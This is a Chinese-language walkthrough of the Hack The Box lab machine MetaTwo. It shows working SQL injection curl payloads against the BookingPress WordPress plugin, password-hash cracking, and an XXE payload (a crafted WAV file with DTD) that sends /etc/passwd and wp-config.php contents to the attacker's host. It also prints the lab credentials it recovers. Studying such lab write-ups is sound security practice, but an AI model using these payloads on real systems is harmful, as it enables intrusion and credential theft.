题目网址:
https://app.hackthebox.com/machines/MetaTwo
枚举
使用nmap枚举靶机
nmap -sC -sV -p- 10.10.11.186
扫到了域名,我们本地dns解析一下
echo "10.10.11.186 metapress.htb" >> /etc/hosts
然后就是老三样,枚举网站根目录,子域名枚举,网站框架枚举
首先枚举网站根目录
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 100 -mc 200,302,301 -u http://metapress.htb/FUZZ
只扫到了网站的后台和一大堆没什么用的东西,然后枚举子域名,并没有找到什么有用的东西
然后就是网站的框架枚举,我们要用到Wappalyzer这个模块
下载地址:
https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search
安装好后去到网站页面,打开任务栏里的Wappalyzer模块
可以看到很多有用的信息,还可以用nuclei这个工具
apt install nuclei
nuclei -u http://metapress.htb/
也能扫描到很多信息,现在我们知道这个网站的框架是WordPress,版本是5.6.2,我用searchsploitsearchsploit搜索了一下此版本的漏洞,需要登录后台才能用一个XXE的漏洞,既然是WordPress框架的,那就要用wpscan枚举一下
wpscan --url http://metapress.htb -e p,u --plugins-detection aggressive
找到了robots文件
CVE漏洞
然后我一个一个点,发现只是网站的存在的根目录而已,然后我又在每个目录页面查看源代码看看有没有什么突破点,结果找到了一个
在这个页面发现了booking press框架,版本为1.0.10,通过搜索发现,这个框架版本有sql注入的漏洞
https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
该插件在通过 bookingpress_front_get_category_services AJAX 操作用于动态构造的 SQL 查询之前无法正确清理用户提供的 POST 数据(可用于未经身份验证的用户),导致未经身份验证的 SQL 注入
然后根据这个网站的payload来测试
首先根据上面说的,我们要在刚刚的源代码页面搜索action:
_wpnonce:'31bef7a194'
然后用以下payload测试
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=31bef7a194&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
泄露了数据库名,数据库版本,系统信息等其他的东西,现在就是常规的sql注入测试了
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=31bef7a194&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -'
获取了网站用户密码的hash值,现在爆破一下
admin $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
john -w=/usr/share/wordlists/rockyou.txt hash
只爆破出了一个密码,我尝试登录ftp和ssh发现都不行,只能登录网站后台
通过前面对wordpress 5.6.2版本的漏洞搜索,发现了一个XXE的漏洞
https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/
安全公司 SonarSource 的研究人员在 WordPress 媒体库中发现了一个 XML 外部实体注入 (XXE) 安全漏洞。仅当此 CMS 在 PHP 8 中运行 并且 攻击用户具有上传媒体文件的权限时,才能利用该漏洞
获取用户shell
利用过程参考这篇github
https://github.com/motikan2010/CVE-2021-29447
下载这些文件
根据文章操作
make up-wp
php -S 0.0.0.0:8001
然后修改此文件的ip地址
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.9:8001/dedsec.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
然后创建一个dedsec.dtd文件,里面是我们的恶意代码
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.9:8001/?p=%file;'>" >
然后上传我们刚刚创建的payload.wav文件
http://metapress.htb/wp-admin/upload.php
得到了一串base64编码,我们解密看看
得到了靶机的/etc/passwd文件内容,现在我们获取一下网站配置,看看有没有有用的东西
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.9:8001/?p=%file;'>" >
继续上传payload文件
继续解密,将此base64编码解密后的内容:
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
我们找到了ftp用户的账号和密码
用户名:metapress.htb
密码:9NYS_ii@FyL_p5M2NvJ
然后我们登录ftp看看
ftp 10.10.11.186
在mailer文件夹下,找到了一个有用的php文件,将他下载到本地
get send_email.php
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "[email protected]";
$mail->FromName = "James Nelson";
$mail->addAddress("[email protected]");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
找到了用户名和密码
用户名:jnelson
密码:Cb4_JmWM8zUZWMu@Ys
然后尝试登录ssh
ssh [email protected]
成功获得用户权限
破解私钥提权
登录之后,我查看了当前文件夹下的所有文件,发现了passpie程序的文件夹,这个程序是用来管理密码的
进去找了一下,发现了一个pgp私钥文件,我们先将.keys文件下载到本地,其实kali本地创建一个文件,然后复制粘贴也可以
scp [email protected]:.passpie/.keys .keys
这个.keys里有两个密钥,一个公钥,一个私钥,我把公钥删了,不然等一下工具用不了,然后把文件改个名
先用gpg2john将key文件转换为john可爆破的格式,然后用john爆破
gpg2john key > hash
john -w=/usr/share/wordlists/rockyou.txt hash
passpie密码为:blink182
爆破出密码后回到靶机,查看passpie里存放的密码,输入密码得到root密码
passpie list
passpie export pass
版权归原作者 Ba1_Ma0 所有, 如有侵权,请联系我们删除。